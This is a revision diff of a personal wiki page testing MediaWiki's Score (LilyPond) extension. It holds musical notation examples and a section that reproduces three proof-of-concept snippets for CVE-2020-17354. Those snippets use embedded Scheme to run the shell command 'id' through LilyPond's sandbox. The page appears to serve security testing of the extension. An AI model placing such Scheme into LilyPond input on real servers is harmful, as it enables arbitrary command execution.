Difference between revisions of "Score testing"

From Jon's Wiki
m
Line 1: Line 1:
 
[[File:Score_PNG_output_in_dark_theme.png|thumb|Unreadable Score extension output in dark mode]]
 
[[File:Score_PNG_output_in_dark_theme.png|thumb|Unreadable Score extension output in dark mode]]
 
Hopefully I can get the Score extension working to [https://phabricator.wikimedia.org/T49578 produce SVG output], instead of the transparent PNG image that needs a white background styling for dark mode otherwise it's unreadable.
 
Hopefully I can get the Score extension working to [https://phabricator.wikimedia.org/T49578 produce SVG output], instead of the transparent PNG image that needs a white background styling for dark mode otherwise it's unreadable.
 +
;Update Januuary 2023: my patch was merged! :) now we wait for it to be tested and deployed. There are a few other issues, including some security and sandboxing concerns, e.g. CVE-2020-17354.
  
 
== Examples ==
 
== Examples ==
Line 45: Line 46:
 
   \bar "|."
 
   \bar "|."
 
}  
 
}  
 +
</score>
 +
 +
== CV-2020-17354 ==
 +
 +
See [https://phabricator.wikimedia.org/T259210 T259210]
 +
 +
1. With defined location: <score>
 +
{
 +
  \relative { c' }
 +
}
 +
 +
#(begin
 +
  (define location 1)
 +
  (display "With output-def-scope\n")
 +
  (eval '(system "id") (ly:output-def-scope #{ \midi {} #}))
 +
  (display "With output-def-lookup\n")
 +
  ((ly:output-def-lookup #{ \midi {} #} 'system) "id")
 +
)
 +
</score>
 +
 +
2. and without: <score>
 +
{
 +
  \relative { c' }
 +
}
 +
 +
#(begin
 +
  (display "With output-def-scope\n")
 +
  (eval '(system "id") (ly:output-def-scope #{ \midi {} #}))
 +
  (display "With output-def-lookup\n")
 +
  ((ly:output-def-lookup #{ \midi {} #} 'system) "id")
 +
)
 +
</score>
 +
 +
3. Variant in comment from Han-wen Nienhuys: <score>
 +
{
 +
 +
  \override NoteHead.text = \system
 +
  \override NoteHead.stencil =
 +
  #(lambda (grob)
 +
    ((cdr (assoc 'text
 +
  (cadr (ly:grob-alist-chain grob '())))) "id")
 +
    #f)
 +
  c4
 +
 +
}
 
</score>
 
</score>

Revision as of 20:46, 19 January 2023

Unreadable Score extension output in dark mode

Hopefully I can get the Score extension working to produce SVG output, instead of the transparent PNG image that needs a white background styling for dark mode otherwise it's unreadable.

Update Januuary 2023
my patch was merged! :) now we wait for it to be tested and deployed. There are a few other issues, including some security and sandboxing concerns, e.g. CVE-2020-17354.

Examples

Range of the contrabass trombone, as used on Wikipedia:


  {
    \new Staff \with { \remove "Time_signature_engraver" }
    \clef bass \key c \major \cadenzaOn
    \ottava #-1 \tweak font-size #-2 fis,,,1 \finger \markup \text "poss."
    \ottava #0  c,,1 \glissando d'1
    \tweak font-size #-2 f'1
  }

The Spear motif from Das Rheingold:


  \layout { ragged-right = ##t \context { \Score \omit BarNumber } }
  \relative g {
    \override DynamicTextSpanner.style = #'none
    \override Hairpin.minimum-length = #5
    \clef bass \key c \major
    g2~ \ff g8 f8 e8. d16
    c4 b a g  f e d c  \break
    b a g f  e1~ \dim\!  << e1~ { s2 s4 s4 \> } >>  e4 \! \p r4 r2
  }

The Summit from Eine Alpensinfonie, which may or may not be a contrabass trombone excerpt, but probably ought to be:


\relative c, {
  \time 4/4
  \clef bass
  \key c \major

  r2 r4\ff g\tenuto
  c2.\tenuto c4\tenuto
  g'2.\tenuto g4\tenuto
  c1
  e2~ e4.. b16
  a1
  g1
  c8 r8 r4 r2
  \bar "|."
}

CV-2020-17354

See T259210

1. With defined location:

Unable to compile LilyPond input file:

line 6 - column 1:
Spurious expression in \score

2. and without:

Unable to compile LilyPond input file:

line 6 - column 1:
Spurious expression in \score

3. Variant in comment from Han-wen Nienhuys:


{

  \override NoteHead.text = \system
  \override NoteHead.stencil =
  #(lambda (grob)
    ((cdr (assoc 'text
	   (cadr (ly:grob-alist-chain grob '())))) "id")
    #f)
  c4

}